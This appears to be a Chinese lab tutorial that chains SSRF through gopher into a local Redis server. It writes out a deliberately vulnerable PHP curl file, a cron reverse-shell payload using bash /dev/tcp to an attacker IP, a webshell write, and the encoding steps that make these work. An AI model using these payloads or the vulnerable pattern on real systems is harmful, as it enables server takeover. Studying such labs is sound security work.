SSRF漏概述
SSRF(服务器端请求伪造)是种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下SSRF攻击的目标是从外网无法访问的内部系统
SSRF原理
由于服务端提供了从其他服务器应⽤获取数据的功能,但没有对地址和协议等做过滤和限制。使得攻击者可以利⽤存在缺陷的web应⽤作为代理,攻击其远程和本地的服务器
SSRF能做的事情
可以对外网服务器所在的内网、本地进行端口扫描务的banner信息 攻击运行在内网或者本地的应用程序 对内网web应用进行指纹识别,通过访问默认文件实现 攻击内外网的web应用。sql注入、struct2、redis等 利用file协议读取本地文件等
这里演示的是利用gopher协议去对redis数据库写入反弹shell和webshell
在真实环境中 我们找到了一个带有ssrf的网站,通过端口扫描发现一台只能本地访问的redis服务器
curl gopher通过SSRF写一个反弹shell和webshell
环境配置
一台linux靶机 里面有中间件和redis数据库
一台kali做为攻击机
环境配置
安装小皮面板
1 . 安装小皮面板
yum install -y wget && wget -O install.sh https://notdocker.xp.cn/install.sh && sh install.sh
2 . 登录小皮面板 => 开启apache服务 => 就在首页启动即可(其他不需要安装php已经自带有了)
3 . 安装redis服务
1 . yum install -y gcc 2 . wget https://download.redis.io/releases/redis-6.2.6.tar.gz 3 . tar -zxvf redis-6.2.6.tar.gz 4 . cd redis-6.2.6 5 . make
安装redis数据库
安装完成之后把配置文件复制到src目录下并修改配置文件
配置完启动redis
./redis-server redis.conf
写一个ssrf漏洞的php文件到小皮的根目录
/www/admin/localhost_80/wwwroot/
<?php
$url = $_GET['url'];
echo $url;
#var_dump(curl_version());
$curlobj = curl_init($url);
echo curl_exec($curlobj);
?>
利用过程
1 构造一个反弹shell的语句,URL编码加上gopher的特性把%0a变成%0d%0a最后面加上%0d%0a,
2 构造完成之后进行二次URL编码,http特性会自动解一次码,
3 再通过构造的gohper协议的语句进行url编码最后拼接curl hllp://目标ip/ssrf php?url=gopher://127.0.0.1:6379/_
4 注意要对参数后面的gopher进行编码,因为http特性会自动解一次码把 : // /都编码
5 再使用ssrf的漏洞对redis进行跳板写入反弹shell
先把反弹的shell进行URL编码
set xx "\n* * * * * bash -i >& /dev/tcp/攻击者的ip/端口 0>&1\n"config set dir /var/spool/cron/config set dbfilename rootsave
再把编码的东西%0a换成%0d%0a,最后再加上%0d%0a,加完之后再拿到bp进行第二次编码
对参数的gopher协议进行编码
gopher://127.0.0.1:6379/_
编完码之后与上面二次编码的payload进行拼接
curl http://目标ip/ssrf.php?url=gopher%3a%2f%2f127.0.0.1%3a6379%2f_
使用kali进行攻击
等待计划任务的反弹shell
反弹成功
再是写入一个webshell
和反弹shell一样的原理我们只需要修改计划任务里的构造语句,使用http协议要进行二次编码,再进行拼接就行了
set tom "\n\n\n\n* * * * * <?php phpinfo();?>\n\n\n\n"
config set dir /www/admin/localhost_80/wwwroot/
config set dbfilename shell.php
save
成功写入
总结:
gopher协议 会默认用url编码
gopher:编码的注意事项(一定要放到bp编码)
? 需要编码
空格 需要编码
在每个段落结束都需要加上%0d%0a
几个段得变成一行配合http协议就得再次对构造的payload进行编码,http的特性会默认解一次码,所以要对gopher协议后面的内容进行二次编码,http协议的要一次编码